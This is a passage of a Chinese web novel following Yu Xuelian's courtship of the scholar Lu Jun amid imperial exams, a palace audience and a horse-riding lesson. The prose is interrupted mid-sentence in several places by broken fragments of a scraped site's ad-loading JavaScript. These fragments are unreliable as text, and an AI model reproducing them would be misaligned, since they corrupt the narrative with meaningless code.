思及此，虞雪怜的目光落在凉亭边上抽出的绿芽。她死的那一年，温昭曾说有朝一日若能替父亲翻案，定要带她逛逛户部尚书府。 而今这辈子弥补了遗憾，她不仅到了户部尚书府，也重新和温昭相识。 “姐姐，母亲前几日正有意要去镇国将军府拜访。”温昭附和道。 温嫱甩袖坐在石凳上，柳眉微蹙，道：“话都让你们说了，还问我做什么。” 她拿着往日训导温昭的气势，对虞雪怜说：“虞娘子以后若有事，先过问我才对，莫要让我妹妹帮衬你。” 虞雪怜应了声是，“温嫱姐姐，我知晓了。” “你——”温嫱语气缓和，她是比虞雪怜年长两岁，抛去偏见，虞雪怜不是那么讨人厌。 温嫱撇了撇唇，道：“我可没有如此不守规矩的妹妹。” 末了，小丫鬟来传话，说尚书夫人在正厅叫娘子去用膳。 …… 暖室映入一片明晃晃的日光，直昏人的眼睛。 八仙桌上，几位夫人穿着颜色不一的摘枝团花褙子，鬓发摸得锃亮，她们围坐着搓洗马吊牌。 “俆夫人今儿的手气真好，赢了有五吊钱了吧？” “哪有五吊钱，咱们刚开两局。我呀，过年那一阵都不知输了多少吊钱，今儿个也该走走运了。” 夫人们约着今日来镇国将军府打马吊牌，陈瑾身为东家，安排地细致入微，备了茶点，让丫鬟婆子在房内伺候。 方才跟徐夫人说话的是忠勤伯夫人，她和陈瑾的关系说不上紧密。 整个金陵城，真正关系紧密的能有一个就颇佳了，除去夫君的政敌和不对付的人，剩下的三五个月走动一回，做好表面的工夫，顺道解解闷。 “盼雁，你儿子议亲了吗？”忠勤伯夫人揉了揉手腕，随手拿起一张牌放桌上，“我记得你儿子跟虞牧这孩子是一个军营里的，我外甥和他们是年纪差不多大，现在媳妇已经有身孕了。” 盼雁是徐夫人的字，她姓关，娘家在滁州府，是以和陈瑾的关系要好一些。 关盼雁敷衍道：“圣上今年派我儿去镇守边疆，边疆穷险极峻，半年回不来一次，他上何处去议亲。” “南川那孩子不容易。”忠勤伯夫人怜惜道，“若非我家小女怕刀剑这玩意，我是很愿意跟盼雁做亲家的。” 她的注意力全然不在牌桌上了，话锋转到国公夫人那里去，“邓宁，我差点忘了，德海是今年参加的春闱。赶明日我派人给他送一盒人参过去，补一补。我听官人说，今年的考题难如登天，尤其是苦了国子监的学生。” “说来惊奇，我问官人今年的解元出在哪儿了，他道是金陵的考生。我当他是咱们金陵城哪户王侯将相的孩子，再不济，起码是国子监的学生？可官人说，此人寒窗苦读，今年二十有四，没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 娶妻，爹娘却都不在世了，是个凄凉苦命的。” 邓宁尴尬地回话：“德海从贡院考完回来，我没问他考得怎样。” 关盼雁随口说：“这解元出身寒门，倘若春闱发挥如常，金陵的商贾老爷们，岂不慌着去抓女婿了。” 忠勤伯夫人点头笑道：“这些老爷们确实稀罕寒门子弟入赘，官人也说，解元样貌俊朗，不显老。” 邓宁不喜跟忠勤伯夫人讲这些，她的孩子成家立业了，嘴皮子一碰，就来指点别人家的孩子。 若不是忠勤伯夫人提到梁德海，邓宁压根不会搭理她，“孩子在国子监读书辛苦，我不在乎他考得怎样，凡事讲究用心尽力，至于功名如何，就看他们自己使了几分力。” 忠勤伯夫人笑说道：“是这个道理，德海这孩子在国子监用功读书，今年定能高中。” 春闱尚未放榜，邓宁不觉得忠勤伯夫人说这话是好意，索性不出声。 陈瑾见邓宁脸色越发难堪，提醒忠勤伯夫人：“夫人，该你出牌了。” “哦，到我了吗。”忠勤伯夫人摩挲着马吊牌，她怕是要输钱了。 她瞟了一眼关盼雁，“盼雁，你今儿手气真是不错。” 关盼雁快言快语：“夫人说，你家小女李桢，是到了议亲的年纪吗？”她故意表现出非常有兴趣的样子，“南川他是在边疆，但若要跟陛下禀明，给他十天半个月的假，回金陵议亲，也不是不可。” 忠勤伯夫人心下一惊，顿时后悔说很愿意跟关盼雁做亲家。然话说出口，收回是不能了，她硬着头皮，问道：“会不会麻烦了点？” 徐南川长年累月地不在金陵，若把女儿嫁到定远将军府，这不是守活寡吗。 “桢儿她不乖巧，怪我这做母亲的，宠她宠得厉害。”忠勤伯夫人愁眉苦脸地说，“那一张嘴犟的呀，简直要气死人。” 关盼雁无所谓地挑牌，说道：“这不要紧，女儿家是该宠着点，我家南川最会疼人了。” 邓宁忍俊不禁，抿唇说：“是了，南川聪明懂事，最会疼人。” “那……那先打牌，”忠勤伯夫人强颜欢笑道，“婚事在这牌桌上说委实不得体，盼雁，下回你到我府上，咱们再细细地议。” 58. 吃茶 春闱放榜的这一日，天刚露出点亮光，贡院的外墙边挤满了考生和家眷。 “德海兄！你快看，你名字在最上头呢。”男子高举着手，他一身国子监的冠服，不失儒雅地笑道，“我数了数，今年咱们国子监的监生共有二十个上榜的，去年好像仅有七个。先生若是知晓，心中肯定欢喜。” 男子前面站着一排排的人，他来得早，把榜上的名字全看了一遍，就在此等着梁德海。 梁德海抬头往高处望，只见自己的名字居于第二个——差一点，只差一点，他便能拿到会元了。 男子觉察梁德海的异样，敛起笑容，道：“德海兄，据说这陆隽一连拿下两元了，他年纪比咱们大，估计费足了力。反正后面还有殿试，状元郎的名号更好听些，德海兄，咱们别气馁。” 梁德海说：“我并未气馁。”他接着作揖道，“我还有事要办，告辞。” “欸，德海兄……”男子欲言又止，一脸懵地看着梁德海消失在人群，他寻思方才的话不大可能戳到梁德海的痛处罢？ 放榜近一个时辰，有人雀跃，有人郁郁寡欢。 吴阿牛陪陆隽搭车进的金陵城，他原想着要捋袖子抢个好视线，奈何他隽哥太争脸，名字占在榜首，根本不用挤人堆去找。 “隽哥，咱们今儿个在城里吃饭，我请客。”吴阿牛掩不住的嘚瑟，隽哥当了解元、会元、那状元更是指日可待。再过不了多久，隽哥便是朝廷命官。 吴阿牛这一说，周围人的眼神纷纷看向陆隽。 “走吧。”陆隽轻声说。 陆隽低下眼帘，取得这样的功名远远不够，但至少向前走了一步，他不否认，自己如今贪图功利，急于求成。 若他要孑然一身地过，是可循序渐进。像老师所说，一辈子老实本分地领俸禄，做地方官。 陆隽不愿做老实本分的人，抑或者说，他本身便不是淡泊名利的人。 春风和畅，城中有不少百姓走动。天变暖了，脱去臃肿碍事的棉袍，逛街游玩的妇孺也随之多了。 贡院邻边的街巷有四五家茶楼酒肆，吴阿牛跟陆隽漫无目的地在路上走着。 “隽哥，”吴阿牛摸不着头脑的问，“咱们去哪家酒楼？” 他对金陵城的酒楼客栈不熟悉，算起来，隽哥在金陵住了也有几个月了，应该晓得哪条街有酒楼。 陆隽道：“去茶楼。” “茶楼？”吴阿牛扯了扯唇角，说：“隽哥什么时候喜欢吃茶了。” * 虞雪怜在竹影斋订了一间厢房，她于巳时洗漱梳妆，从府邸赶过来。 “娘子，陆公子到了。”金盏站在窗台前，笑道，“那吴公子也在。” 虞雪怜坐在茶案一旁，掩面抹去因呵欠流的泪花，说道：“可以泡茶了。” 厢房备的东西齐全，她洗干净手，按着母亲泡茶的步骤去做。 “娘子要亲手给陆公子泡茶吗？”金盏关了窗户，说道，“奴婢多嘴问一句，陆公子和……娘子是朋友？” 她伺候娘子的时日虽不及良儿，但今日娘子约见陆公子到茶楼，单独带她一人来，只看这一点，娘子对她是不藏事的，是以金盏不怕虞雪怜生气。 “是。”虞雪怜提袖把茶叶放入壶中，说，“可还有要问的？” “奴婢没有要问的了。”饶是金盏有一肚子的疑问，却不能往深处去问了。男女之间左右不过那回事，陆公子好歹是书生，应不会做出有损娘子名节的举止。 房门叩叩地响了，金盏前去开门。 吴阿牛对金盏有几分印象，见了她的脸，傻笑道：“姑娘，真巧，你也来喝茶。” 话罢，他才后知后觉地想起金盏是伺候虞姑娘的小丫鬟，然后惊喜交加地看向陆隽。 他惊的是隽哥竟主动来找虞姑娘了，喜的是——隽哥跟虞姑娘的关系亲密了，吴阿牛不禁笑出声，说不准明年就能喝到隽哥的喜酒。 他们二人落座，吴阿牛照旧有道不尽的话，挑着极重要的事讲：“虞姑娘，我和隽哥刚看完榜，隽哥的名字在榜首！” “陆公子得了会元？”虞雪怜将茶杯递给陆隽。 吴阿牛则一口饮尽杯里的温茶，说：“正是。” 金盏暗暗讶异，偷偷打量着陆隽，娘子的眼光果然不差，即便是个书生，也是个顶拔尖的。 她的思绪被虞雪怜的声音扯回，“金盏，你去问问小二的，我要的那一碟红豆糯米团，怎么迟迟端不上来。” 金盏应道：“奴婢这就去催他。” “姑娘等等我。”吴阿牛斯文地擦掉嘴角的茶渍，道，“我初次来这茶楼，你带我看看他们都做什么糕点，我买些配茶喝。” 房门咣当一开，旋即紧紧地合上。室内的茶雾白茫茫，湿漉漉的，水烧得滚烫，像是吃饱的鱼，在茶壶里边跳跃碰撞，喷着热气。 虞雪怜掀了茶盖，问：“陆公子喝的惯黑茶吗？” 陆隽垂目，茶汤浓醇。他抿了一口，咽下，喉咙品尝到甘甜的味道。他曾吃过慈溪镇小贩卖的饴糖?，那是填满舌头和喉咙的腻甜，和这茶不一样。 他答道：“喝得惯。” “黑茶解腻清神，可惜不宜多饮，不然睡不着觉。”虞雪怜说，“陆公子的老师，回慈溪镇了吗？” 陆隽道：“老师要待到四月回去。” 虞雪怜若有所思地点头，总之她是不会冒险去陆隽的家了。 日后见陆隽的次数比不得从前了，虞雪怜想，起码在这一年，她仍要帮扶陆隽。与其说是帮扶，倒不如说是接触，她在朝廷一无势力，又不得借爹爹的威名招摇。 陆隽为官的第一年甚是辛苦，受着同僚的挤兑挖苦，殚精竭虑地在朝堂展现自身的特别之处，以博得圣上的青睐。 论读书写字，诗词歌赋，能与陆隽为敌的人寥寥无几。何况他勤谨努力，好似不知累的牛，矜矜业业。 她若在他耳边指点，岂不是班门弄斧。 “陆公子会骑马吗？”虞雪怜忽然问。 陆隽以为虞 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 雪怜会问他有关春闱殿试的事，所以毫无预料，但这问题很好回答，“陆某不会骑马。” 虞雪怜如同找着稀罕物，扬唇笑道：“陆公子想学吗？” 她记得南郢皇宫每隔三年办一次狩猎，文武大臣要随圣上去围场。而陆隽不会骑马，遭人戏弄。 那么，她要教会陆隽骑马，便可打那人的脸了。 陆隽没有立刻答复虞雪怜，他问：“虞姑娘想教我？” “我爹爹说，能在马背上驰骋，是一件幸事。”虞雪怜眨眼问道，“陆公子不想尝试一下吗？” 她讲话时，陆隽的眼神始终不会落到别处去。他认真的听着，默默的想着，他没忘记虞穗是镇国将军府的嫡女，她父亲是将军，诸如习武、骑马、射箭，虞穗从小耳濡目染。 书上说将门之后性情豁达刚直，这大抵是虞穗言语跳脱的原因。 茶壶的热气消散不尽，那一层朦胧的白雾落下又升起，反反复复。 她的一言一语引诱着他的心神，他道：“虞姑娘要如何教我。” 虞雪怜信誓旦旦地说：“等陆公子过了殿试，我带陆公子去城外的崇云山。” 小二的端着糕点跟金盏和吴阿牛进厢房，他瞅了瞅煮茶的火炉旺的过头，拿钳子取走两块炭。 约莫过了半个时辰，虞雪怜与陆隽告别，先行回府。 她在闺阁换了一身衣裳，兰园的丫鬟就过来传话，老爷说今儿去老太太的房里用午膳。 “怜娘，你今日是去贡院那儿看热闹了？”老太太管教的松了些，允许府邸的孩子偶尔出府一趟，在宅院整天睡了吃，吃了睡，对身子也不好。 虞雪怜回道：“祖母，孙女在竹影斋吃了两壶茶。贡院那里挤的厉害，且都是男子，我便站在茶楼的窗口看了一会儿热闹。” 虞鸿今日上早朝，圣上提起榜首陆隽，和底下的大臣相谈良久。 “爹爹知晓榜首是谁吗？”虞雪怜故意问道。 虞鸿笑道：“当然知晓。” 老太太起了兴致，问：“那榜首家世怎样？” 虞鸿说了几句在太和殿听到的闲话：“这榜首才华出众，可惜家世凄惨。” 老太太道：“可惜了。”女眷不谈政事，但对这三年一次的春闱和殿试是绝不错过议论的机会，“他若是有靠山，必能少吃些苦。对了，国公府的梁小公子不也参加春闱了吗？” 虞鸿闻言说：“母亲，梁小公子考得不错，仅次于会元。” 老太太转而道：“鸿儿，前些日子国公夫人来府邸打马吊牌，牌桌上是最看得出人品的，国公夫人教子有方，对儿媳也极好。” 说着，她向陈瑾交代：“等用完午膳，差人给国公府送点礼，以表心意。” “母亲说得是，国公夫人昨日往府上送了一匹蜀锦，儿媳本来打算明天到她府上还礼。她孩子金榜题名，如此一来，这还礼和贺礼正好一起送去。” 陈瑾颇是困惑，那日在房里打牌，老太太是从何得知她们牌桌上说的话？ 59. 面圣 宝和殿。 太阳敞亮，殿前的金阶和光相映，这宫里没有一个角落是暗淡的。 景元帝召前十位新科进士到宝和殿。他们昨天在此交了殿试的答卷，今日于卯时进宫，有内官带路领着他们。 “各位郎君，且在这里等咱家片晌，我先去通报一声。”说话的内官乃是在司礼监当差的何公公，景元帝历来看重这一环节，所以把这差事交给了司礼监去办。 几个新科进士在原地停留，何公公迈着碎步向大殿走去，他的影子越拉越长，大殿真切地矗立在眼前，然而一步、两步……至十步百步也走不到金阶的位置。 “德海，你说圣上召我们，是要问话，还是接着再考？”少年低声言语。他穿着新科进士的朝服，其他人也是一样，深蓝色的襕衫，头戴进士巾。难怪世人爱看高中后的状元郎、探花郎游街，诺大的宫中，独他们透着一股年轻人的意气风发。 他们一路跟着何公公，何公公不说不问，他们就默默地在他后边端正的走着。 现在这四周除了雕像似的侍卫，没别的人了。少年憋了一路的话，终于寻着机会说了：“德海，你紧不紧张？” 梁德海显然不愿跟少年扯闲话，皱眉说：“罗奕，先生当初讲的话，你忘了吗？” 在这十名进士里边，国子监的监生只占了两个，梁德海是其一，另一个便是这少年。 左都御史的嫡次子罗奕，他开蒙得早，三岁就有模有样地拿着毛笔在宣纸涂画，虽不成字，但一撇一捺是有形的。 罗奕泡在书房长大，他今年十七，爱读书是真，爱玩也是真，“德海，先生教的那一套老掉牙，若是有用，这十个人，国子监起码要占一半吧？” “说实话，我能考到这儿，不全靠先生。若不是我天资聪颖，今日可没人跟你作伴呀。” “罗奕。”梁德海不悦地说，“你见了陛下，如果你不想丢国子监的脸，要改改你说话的语气，以及这狂傲的措辞。” 梁德海怀着替先生保护国子监脸面的信念，才跟罗奕窃窃私语。否则他这般墨守陈规的人，哪怕撬他的嘴，他都绝不肯在大殿前说一句闲话。 “我不傻啊。”罗奕望着幽深的宫殿，说，“孰轻孰重，我心里没数吗？德海，你这人太老实了，我同你说话，和陛下说话，那必然是不一样的。” 梁德海摇摇头，简直是对牛弹琴。他不搭理罗奕了，目光飘向站在前面的男人，男人自始至终一言未发，来时不乘马车，身边也没书童伺候。是了，梁德海在袖间的手合拢，这人是拿了会元的陆隽。 他很想读一读陆隽写的文章，究竟好在哪里，他又输在哪里。 陆隽心无旁骛地平视着宝和殿，他见石砖面上的光影逐渐短了。 何公公去的时辰却不短，殿内殿外皆不曾有人出现，好似静止了一般。 鼻峰凸起，状若驼峰的男子明显等着急了，两眼瞄着大殿，过了须臾，他转头对身后的人说：“这是怎么回事？难不成何公公把我们忘了？” 他们一行人闷声等了不知几盏茶的工夫了。召见他们是陛下的旨意，何公公一去不复返，把他们晾在这里，意欲何为？ 被问的那人谨慎地环视四周，苦笑道：“曾兄，再耐心等等，许是殿下在处理政事，要何公公候着。” 这番话暂时压住了男子躁动的情绪。知晓今日要见陛下，他昨天一夜都没睡个囫囵觉，整宿在设想陛下今日是要另外出题考策略还是单纯地问话，如若仅是单纯的问话，该当说怎样的话让自己出众。 男子恢复笔直的站姿，昂首挺胸地静等着。 大殿一片沉寂，风吹起进士服的袍角，天际飞过一群鸟儿，他们站得越久，越像是在罚站。 殿内，何公公掐算着时辰，笑道：“陛下，今年这群新科进士真是细皮嫩肉的。” 景元帝正闭目养神，一只手搭在龙椅上。 他问：“你进殿可有些时辰了？” 何公公细声细气地说：“老奴进来那会儿，这日头只升了一点，现在宝和殿都被照得锃亮了呢。” “是吗？”景元帝睁开眼，遂伸了伸懒腰，说，“朕昨日批阅奏折忘了时辰，冯璞玉也忘了提醒朕，到了寅时才服侍朕上榻。” 何公公虚笑道：“冯掌印汲汲忙忙的，一面要管司礼监，一面要侍奉陛下，难免会有疏漏。”他不明白陛下说这话有什么用意，冯璞玉的话茬，他不敢乱说。 这宫里谁不知道陛下宠信冯璞玉数年载，司礼监的公公凡是想代替冯璞玉的，死得死，疯得疯。何公公斗不过冯璞玉，但不会犯蠢，他道：“陛下日理万机，操劳政事，不若您再小憩片刻。” “小憩片刻。”景元帝抚着龙袍的袖口，年近半百的面庞却因这天子威名而不显苍老，他缓缓笑道，“行了，跟你说了话，倒解了朕的乏。宣他们进殿罢。” 何公公应下，出了殿。 高台下站着两三个身穿深红官服的老臣，各自站在一边。 景元帝漫不经意地问：“杨鼎，他们的试卷，你可看了？” 杨鼎白发垂髫，不用俯身，头就低垂地厉害，他肃然道：“回陛下的话，臣大略看了一遍。” “大略？”景元帝睥睨着殿外，那些新科进士已开始往殿内走，他慢慢道，“大略看了一遍，能看出哪一个更胜一筹。” “相差不大。”杨鼎答道，“如今的年轻人，在书院听了老师先生的见解，不敢有己论，保守的过于保守，激进的过于激进。是以臣觉得相差不大，没有哪个是更胜一筹的。” 末了，何公公领着新科进士到了殿内。 景元帝冷笑道：“杨鼎，你入内阁这么些年，教养了不少好学生。朕要你说出谁更胜一筹，你答就是。” 何公公见状不妙，圣上当着新科进士的面，拂杨阁老的面子，大概着是刻意为之。他向郎君们使了眼色，这会儿最好不要打断陛下。 杨鼎探出圣上的心思，揖礼道：“若陛下要老臣选出哪位新科进士的文章写得好，依臣拙见，春闱的榜首会元陆隽，字字珠玑，稍胜一筹。其次便是国公爷的小儿子梁德海。” 景元帝似乎得到了想要的答案，道：“不枉旁人称你一声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 阁老，朕问你话，要拐弯抹角的。” 杨鼎：“陛下尚且抉择不了，老臣只能拖延些，方能答复陛下。” 景元帝似笑非笑，看向杨鼎身边的大臣，道：“胡广，徐经业，你们两个呢？” 胡徐二人都留了一脸络腮胡子，瞧着不像是脾气好的。 他们入内阁较晚，若非景元帝去年清了两个内阁的大学士，胡广和徐经业也顶替不上去。 “阁老所言很是中肯，臣与阁老的看法一致。”胡广说。 “启禀陛下，臣没来得及查阅新科进士的试卷。”徐经业顿了顿，说，“容臣回去看了试卷，再言之。” 景元帝高声道：“何贵，带他们过来。” 何公公挺起腰板，非常有气势地回：“奴才遵旨。” 原先仅是拿笔答题，方才听到圣上跟杨阁老的对话，梁德海竟有几分惴惴不安。 他又去看陆隽的反应，然此人如乡间的稻草人，找不出一丝的变化。 陆隽排在首位，故而何公公一停下，他便跟着停步。 “朕今天不考你们什么策问和四书五经。”景元帝轻松地说，“离殿试放榜还有几日，朕昨天看了你们的户籍，发现只有一个是父母务农的。” 这话直指陆隽，景元帝道出他名字，问了几个平平无奇的问题。 而后随意的叫其余的人说家乡的特别之处，诸如云云，衬得这金殿不如看着那么威严。 景元帝说：“朕乏了，今日就到这里，你们退下。” 常言道，帝王喜怒无常，景元帝的这一点尤其鲜明。 景元帝从来不在一件事上花费过多的精力。 今儿个冯璞玉去宫外办差，没在殿前伺候。何公公机灵地接话道：“奴才伺候陛下回乾清宫歇息。” …… 何公公派了小内侍送陆隽他们出宫。 陆隽独自走路回了客栈，陈昌石叮嘱他，这两天在金陵城暂住几天，帮忙照料观山书院的学生。 客栈拐角的另一条街，是镇国将军府的所在之处。 翌日，虞雪怜牵了一匹马。 她问陆隽是否歇息好了，陆隽想也不想地说，即日就可同她学骑马。 “陆公子，我忽及去崇云山的路崎岖坎坷，不安全。” “我和大哥幼时便是在这一方草场学的骑马。”虞雪怜手捏缰绳，引着马儿到舒坦的草坪去。 概因这是陆隽初学书本以外的东西，他怕现出自己笨拙的一面，于是问：“虞姑娘准备从何教起？” 虞雪怜笑着伸出手，说：“我扶陆公子先上马。” 女子递来的手掌不敌他的半张手，他的手往上一放，就覆盖了她的。 “你按着马鞍，抬起腿。”虞雪怜详细地告诉陆隽上马的要领，“骑马不难，爹爹教了我一天，我就学会了。” 陆隽照着虞雪怜说的，一一去做，他坐上马背，突如其来地腾空感让他身子晃了一下。 虞雪怜很负责地握紧他的手，说：“陆公子，你坐着不要动。等你适应了，我牵着缰绳带你走一圈。” 60. 教他 镇国将军府最不缺骏马，单是虞鸿每年便要买两匹上等的良驹养着，到了仲秋就去深山打猎。 然这些良驹骏马却不适合让初学者来骑，是以虞雪怜在马棚精挑细选，选中这一匹黑鬃黄马。 虞雪怜的手感觉到陆隽的僵硬，她抬眼问：“陆公子，你头晕吗？” 爹爹说，有些人天生学不会骑马，人刚坐上去，总觉得憋闷，头晕目眩，两条腿直发软。更别提牵着缰绳走一圈了。 “若陆公子有所不适——” “我感觉很好。” 虞雪怜半信半疑，她看陆隽一如往常地镇定，但他回答得太快，倒不像他平日那样深思熟虑。 “陆公子感觉很好？”虞雪怜复问。 按理来说，陆隽不是嘴硬要面子的人，应该不会说谎。 陆隽颔首：“请虞姑娘继续。” 男人语气坚定，适才僵硬的手也缓过来劲。 因虞雪怜提醒他，今日学骑马，要穿修身的衣装。他的衣物本就不多，只前年过冬时，让慈溪镇的裁缝做了一件短衫，恰适合今日穿。 这短衫的确修身，颜色是墨黑色。但那裁缝偷工减料，用的布料极易褪色。陆隽洗了几次，晾晒后，墨黑成了浅灰。 他束了腰带，身形被勒的一览无余。陆隽瘦归瘦，然每年辛苦劳作，便练就了这么一副瞧着很有力量的身材。 虞雪怜再三确认陆隽无碍，随即牵起缰绳，顺着在草地上走。 马蹄一前一后地随缰绳的牵引行走。尽管路平坦，可陆隽到底是初学，方向不由他控制，容易失去重心，身体猛地往一边摔。 幸而虞雪怜眼疾手快，及时抓住他的胳膊，把缰绳放到他手里，“陆公子，你拿紧。” “你把脚放在马背两侧，就不会颠晃了。” 陆隽抿唇，问：“虞姑娘，我若试着自己走一圈，会不会摔下来。” 虞雪怜毫不犹豫地说道：“当然会。” 她事前在府邸做足了功课，骑马和教人骑马完全是两回事。 毕竟身体不一，再温顺的马匹也要慢慢磨合驯服。她跟大哥学骑马的时候，从马背上摔下来是家常便饭。可陆隽不同，他若今日摔下来了，所谓书生身弱，摔出个好歹……万万不可。 离狩猎尚早，想要一天教会陆隽骑马跟敲冰取火差不多。 虞雪怜顿感后悔，左右思忖道：“陆公子，今日能做到这儿，已经不错了。你过几日有要忙的，暂且先学到此处吧。” 陆隽问：“虞姑娘要半途而废吗？”他又道，“陆某不想半途而废。” 虞雪怜清楚陆隽不是轻言放弃的人。她仰眸看陆隽，见他的脸色没有爹爹说得那种苍白，浮现虚汗，想来是能够继续往下学。 陆隽坐稳后，垂目看向虞雪怜。她的表情纠结，他猜测她是担忧他会摔下去。 他捏着缰绳，问道：“虞姑娘告诉我，要怎么控制方向？” 虞雪怜指着马匹，说道：“陆公子看见这衔铁了吗？”她说，“若控制不了方向，马儿不配合你，就用衔铁来牵制它。” 然而教人骑马并非依靠言语，纸上谈兵是不行的，她上手比划了一番。 陆隽沉吟道：“虞姑娘可愿上马，让陆某看一遍如何骑。” 他按着马鞍，欲要下马，却听虞雪怜道：“陆公子不必下来，我上去教你。” 虞雪怜倒没顾虑太多，只想着尽力教会陆隽。她算是半个习武之人，爹爹教大哥武功，少不了上手去摆弄大哥的胳膊跟腿脚。 骑马的动作看似简单，若不留神，失去掌控，摔成傻子残废的情况也是有的。 不等陆隽回应，虞雪怜一跃骑上马背，坐在陆隽身后。 她今日穿窄袖襦衫，轻盈贴身。 虞雪怜靠拢在陆隽的后背，以往都是郎君在马上护着女子，可他们二人的位置则相反。 “陆公子，你的手要这样握缰绳。”虞雪怜伸出手臂，即使陆隽挡住她的视线，她只需稍微摸索一下，就能找到缰绳。 她拨开陆隽的手指，教他怎么握好缰绳。 “我知晓了。”陆隽看着从他后背探出的手臂，纤细柔韧。 他错以为虞穗如她表面柔软，殊不知她的手臂力度不容小觑。 方才虞雪怜牵引的是马匹，现在她牵引着陆隽如何控制方向。 抑或 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是这匹黑鬃黄马认人，它甚是听话，丝毫不忤逆虞雪怜的意思。 “陆公子，我带你去那边的土路走一走。” 虞雪怜已经忘了彼此的距离，全身心的扑在教会陆隽骑马这一件事上。她不仅扣着他的手指，胸膛也黏在了他的背上。 她复生有近一年了，在府邸吃的喝的，样样用滋补身子的为先。上辈子为了柳腰细腿，虞雪怜的膳食不沾一点荤腥，糕点肉脯一点不吃。 挨过饿，死了才知道。放着美酒佳肴不喝，去过清汤寡水的日子，实在是蠢笨。她这一年吃得圆润，母亲极为高兴，只因她之前吃得膳食，狸猫见了也要摇摇尾巴地逃跑。 阳春四月，他们两人骑一匹马，来回在这空阔的草坪驰骋，避免不了出热汗。 陆隽嗓音低沉，唤道：“虞姑娘。” 虞雪怜的褥衫被汗润湿了一小片，她浑然不觉，问道：“陆公子，你觉得现在学会了几成？” “陆某不知。”陆隽勒了缰绳，马儿乖巧地停下张扬的马蹄。 他问：“虞姑娘觉得有几成？” 虞雪怜见陆隽连勒马都会了，笑吟吟地说：“陆公子聪明过人，起码学会了有八成。” 两人骑着不如一人骑，虞雪怜既要教他，还要注意着路是否平坦，她两条胳膊又酸又累。 “陆公子坐好。”虞雪怜松开他，脚踩马鞍下去。 陆隽跟她下马，他移开视线，问：“虞姑娘带披风了吗？” 虞雪怜迟钝地说：“怎么？” 她出府前，金盏说天色晴朗，无风无雨。她想也是，无风无雨，骑马穿的越简单越好，所以没带披风。 思及此，虞雪怜下意识地摸了摸胸膛的布料——湿得透了底。 所幸这一块不会有村民百姓经过。 虞雪怜羞赧地看了一眼，说：“我忘带了。” “我送你的丝帕，带了吗？” “带了。” 陆隽转身背对着虞雪怜，言简意赅道：“用它擦拭。” 虞雪怜从袖间拿出陆隽绣的那张丝帕，盖住湿掉的布料。 马儿哼哧哼哧地吃着草，除此以外，再无别的声音。 61. 琼林 虞雪怜整理好襦衫，戴上幂篱，便牵着马和陆隽往回走。 金盏跟府邸的侍卫在城边的一家茶肆等候。到了门前，陆隽看着虞雪怜进去，他没理由随她一起，所以不作停留。 “娘子，我在茶肆听说，后日就能知道今年的状元郎是谁了。” 金盏一面端着盥洗的瓷器，给木盆添热水，一面说道：“夫人方才问我，娘子去城外骑马，是否有人陪着。奴婢回夫人，娘子最近跟嬷嬷学女红，女先生也布置了一大堆课业做，老太太特地准娘子出去散散心。不想夫人又问奴婢，娘子贴身带的那张丝帕，是奴婢绣的，还是娘子自个儿绣的。” 虞雪怜回府就备水沐浴了，她揉着胳膊的手一顿。 身子本来被热水包裹的发烫，听完金盏的话，却是退了热，她问：“你怎么回母亲的？” 金盏把热水放尽，说：“若夫人不问奴婢，其实奴婢压根没注意娘子的丝帕。前些天奴婢和良儿在院里跟其他小丫鬟晾衣服，顺手把娘子的丝帕给洗了。夫人碰巧看见了，就让奴婢拿给她瞧，当时夫人什么都没说，只说这绣工倒是特别。” “今儿个夫人忽然问奴婢这丝帕的来历，奴婢委实被难着了，但不敢有半分磕绊。奴婢说这丝帕是娘子在城里找的铺子绣的。” 虞雪怜说：“你回得不错。” 金盏去妆台拿了梳篦，把虞雪怜浸湿的头发梳顺，道：“那娘子和陆公子的关系……何日告诉夫人？” 如今金陵城知晓陆公子的人是不多，但夫人老爷都对他略有耳闻。 娘子转眼要过生辰了，老太太一直操心着娘子的婚事，这位陆公子若是殿试依然首屈一指，官职有了，那老爷会对他满意的。 虞雪怜笑问：“我与陆公子的关系？”她反应过来金盏的意思，在旁人眼中，陆隽和她，是有着男女之情的关系。 她的手臂沉入水里，整个人随之沉默。无人知晓她接近陆隽是看中了他日后的权势，陆隽心思缜密，不欠人情，她百般地对他好，他不会无动于衷。 正如他送她的那张丝帕，便是最好的解释。 然而，陆隽上辈子未娶妻，她才肆无忌惮的。若谈情分，也只该是恩情。 但这话说出去，没人相信。 金盏取下木架上搭的巾子，说：“娘子若不告诉夫人，夫人免不了要察觉。” “眼下告诉母亲，不妥。”虞雪怜说，“陆公子他刚入仕途，纵然我现在去告诉母亲，那母亲会如何想呢？” 她故作为难地道：“且我和陆公子八字没一撇，哪日黄了也是有可能的。至于母亲那里，你不必忧虑，我自有对策。” 金盏很是讶异，揣摩了一番虞雪怜话里的意思，嘀咕道：“奴婢觉得那陆公子挺好的。” 娘子和小侯爷的事，现今彻底了结。但这件事始终是夫人老爷心头的一根刺，任老太太在一边旁敲侧击，老爷就当作听不懂。 可娘子说黄了也是有可能，金盏不得其解，她瞧那陆公子不像是负心汉的样子。 * 是日，高淳老街的百姓簇拥一团，街边的玉兰花缀满枝头。 有尚在闺阁的女子，手中提了一筐鲜艳欲滴，像是刚采撷下来的花卉。概因是得了消息，新科状元要骑马游街，高淳老街是必经之路，她们便守在这等着一睹风姿。 “今年的状元郎可是一连三元，榜眼是国公府的小公子梁德海。得亏这状元郎是寒门出身，若是叫别的世家子弟当了状元，什么功呀名呀的，全让他们有权势的拿走了，那咱们南郢那些穷秀才都别读书了。” “你少说两句，咱们是来看状元郎的。你在这里嚼他们的舌根，不怕逮你去坐牢啊。” “光天化日，他们敢吗？反正圣上查封了临川侯府，我看谁敢做卖官的脏事。” 三两个穿丝绸缎子的男人说笑着，看他们的行头，家里八成是经商的。 “状元郎！快看，是哪个泼皮说人家样貌奇丑，老态龙钟的？根本胡诌的，这面相瞧着就是清官老爷，不知他娶娘子了吗？” 那边，黑压压的护卫整齐地走来，有两位黑衣皂隶牵着新科状元的马，慢慢悠悠地，一步一步地从百姓身边经过。 